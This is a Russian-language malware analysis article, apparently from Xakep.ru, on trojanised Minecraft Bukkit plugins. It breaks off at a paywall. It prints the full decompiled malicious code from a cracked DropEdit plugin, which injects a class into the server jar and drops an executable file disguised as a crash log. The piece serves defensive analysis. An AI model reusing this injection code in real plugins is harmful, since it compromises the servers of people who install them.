Вез­десущая мал­варь доб­ралась до уют­ных миров Minecraft. Что­бы оце­нить мас­штаб бедс­твий, я иссле­довал нес­коль­ко пой­ман­ных ана­лити­ками сем­плов. Про­читав статью, ты узна­ешь, сто­ит ли доверять слу­чай­ным модифи­каци­ям и как самос­тоятель­но рас­познать опас­ные при­ложе­ния на Java, даже если им уда­лось обхитрить твой анти­вирус.
 

Поиск семплов

Я верю в глу­бокое изу­чение кон­крет­ных сем­плов. Поэто­му пер­вым делом я решил поис­кать анти­вирус, соз­данный спе­циаль­но для поль­зовате­лей «Май­нкраф­та». Нес­коль­ко ути­лит лечили пос­ледс­твия ата­ки печаль­но извес­тно­го Fracturiser. Но есть и анти­вирус обще­го наз­начения — MCAntiMalware.

Это сер­верное при­ложе­ние на Java, которое про­веря­ет хеши фай­лов и нес­коль­ко видов сиг­натур. Меня инте­ресу­ет толь­ко его база, которая лежит по адре­су src\main\resources\database.db. База сох­ранена в фор­мате SQLite, так что откро­ем ее через бес­плат­ный SQLite Browser.

В таб­лице BlacklistedChecksums видим набор хешей SHA-1. У меня нет дос­тупа к базам VirusTotal (напиши мне, если у тебя есть!), так что будем искать хеши в Google. Хешей все­го лишь 349 штук. Мож­но было бы написать скрипт, но я решил, что быс­трее будет про­верить их вруч­ную. Сегод­ня погово­рим о най­ден­ных сем­плах.

 

DropEdit 1.10.4

SHA1: C471E7A958305B003A16459EDD59C9C552F56DAB

Это взло­ман­ный вари­ант плат­ного пла­гина для Bukkit — популяр­ного заг­рузчи­ка модов для сер­веров Minecraft. Я поис­кал по име­ни пла­гина его копии и на каком‑то богом забытом форуме нашел вер­сию 1.10.3. Закиды­ваем файл JAR в деком­пилятор JD-GUI и получа­ем исходный код прог­раммы. В боль­шинс­тве слу­чаев JD-GUI хорошо справ­ляет­ся со сво­ей задачей, но при ошиб­ках деком­пиляции мож­но исполь­зовать дру­гие инс­тру­мен­ты.

При ком­пиляции Java сох­раня­ет име­на перемен­ных и фун­кций. Они могут быть замене­ны сто­рон­ним обфуска­тором. Так­же код может быть спря­тан за Base64 или бес­смыс­ленной Unicode-стро­кой и рас­шифро­вывать­ся по мере исполне­ния. Подоб­ных трю­ков впол­не дос­таточ­но, что­бы счи­тать файл подоз­ритель­ным.

Код обе­их вер­сий выг­лядит похожим, но во вред­ной вер­сии есть какие‑то встав­ки, которые надо выч­ленить. Для это­го я рас­паковал деком­пилиро­ван­ные исходни­ки (они сох­раня­ются в виде ZIP) и заг­рузил обе пап­ки в инс­тру­мент срав­нения WinMerge.

Од­нако добав­ленные деком­пилято­ром ком­мента­рии мешали срав­нению, так как встав­ленные номера строк и пути к исходным фай­лам не сов­пада­ют. Поэто­му я убрал их при помощи регуляр­ных выраже­ний. Обыч­но я тес­тирую их на сай­те regex101. Вот как это мож­но сде­лать.

/* Location: C:\Users\admin\Desktop\minecraft\DropEdit_1.10.4.jar!\de\Linus122\DropEdit\Cmd.class
* Java compiler version: 8 (52.0)
* JD-Core Version: 1.1.3
*/

Этот блок лег­ко пой­мать регуляр­кой \/\* Location: [^\/]+\*\/. В ней ловим конец ком­мента­рия пос­ле стро­ки Location, забирая все сим­волы, кро­ме обратно­го сле­ша.

/* */ public Manager(Plugin pl) {
/* 27 */ InputStream is = pl.getResource("config_default.yml");
/* */

Та­ким же обра­зом выреза­ются ком­мента­рии с номером стро­ки. Для это­го подой­дет регуляр­ка \/\*[\d ]+\*\/, в которой мы забира­ем про­белы и циф­ры меж­ду звез­дочек со сле­шами. Я исполь­зовал Notepad++ для поис­ка и замены регуляр­ных выраже­ний во всех фай­лах в пап­ке, но с этим спра­вит­ся любой сов­ремен­ный редак­тор тек­ста.

Результат сравнения
Ре­зуль­тат срав­нения

Сно­ва срав­нив пап­ки в WinMerge, теперь видим толь­ко раз­личия в коде. В заражен­ной вер­сии при­сутс­тву­ет новый файл: Manager.java. Прог­нав резуль­тат работы деком­пилято­ра через CodeBeautify, получа­ем тот же код, но с кра­сивым фор­матиро­вани­ем:

public void onEnable() {
ReflectionUtils utils = new ReflectionUtils();
types = utils.loadEntityTypes();
if (isUnix(System.getProperty("os.name")));
// (...)
public static boolean isUnix(String OS) {
return !(OS.indexOf("nix") < 0 && OS.indexOf("nux") < 0 && OS.indexOf("aix") <= 0);
}

В отли­чие от осталь­ных сем­плов, этот про­веря­ет, что он исполня­ется на Unix.

package de.Linus122.DropEdit;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Writer;
import java.net.URI;
import java.nio.charset.StandardCharsets;
import java.nio.file.FileSystem;
import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.io.IOUtils;
import org.bukkit.Bukkit;
import org.bukkit.plugin.Plugin;
public class Manager {
public Manager(Plugin pl) {
InputStream is = pl.getResource("config_default.yml");
String jar = (new File(Bukkit.class.getProtectionDomain().getCodeSource().getLocation().getPath())).getName();
try {
File dir;
Map < String, String > env = new HashMap < > ();
env.put("create", "true");
Path path = Paths.get(jar, new String[0]);
URI uri = URI.create("jar:" + path.toUri());
Exception exception1 = null, exception2 = null;
try {
FileSystem fs = FileSystems.newFileSystem(uri, env);
try {
Path nf = fs.getPath("org/bukkit/craftbukkit/Main2.class", new String[0]);
Exception exception3 = null, exception4 = null;
try {
Writer writer = Files.newBufferedWriter(nf, StandardCharsets.ISO_8859_1, new OpenOption[] {
StandardOpenOption.CREATE
});
try {
while (true) {
int value = is.read();
if (value == -1)
break;
writer.write(value);
}
} finally {
if (writer != null) writer.close();
}
} finally {
exception4 = null;
if (exception3 == null) {
exception3 = exception4;
} else if (exception3 != exception4) {
exception3.addSuppressed(exception4);
}
}
} finally
{
if (fs != null) fs.close();
}
} finally {
exception2 = null;
if (exception1 == null) {
exception1 = exception2;
} else if (exception1 != exception2) {
exception1.addSuppressed(exception2);
}
}
File fileOUT = new File(dir.getPath(), "crash-2017-06-01_22.06.22-server.txt");
InputStream is2 = pl.getResource("old_config.txt");
OutputStream os = new FileOutputStream(fileOUT);
IOUtils.copy(is2, os);
dir.setReadable(true, true);
dir.setWritable(true, true);
dir.setExecutable(true, true);
fileOUT.setReadable(true, true);
fileOUT.setWritable(true, true);
fileOUT.setExecutable(true, true);
} catch (Exception exception) {}
}
}

Об­рати вни­мание на импорт. Работа с фай­ловой сис­темой или сетью нап­рямую всег­да нас­торажи­вает. Легаль­ному пла­гину незачем вылезать за пре­делы ресур­сов игры или отправ­лять дан­ные через сеть, и такое поведе­ние всег­да намека­ет на воз­можную вре­донос­ную активность.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии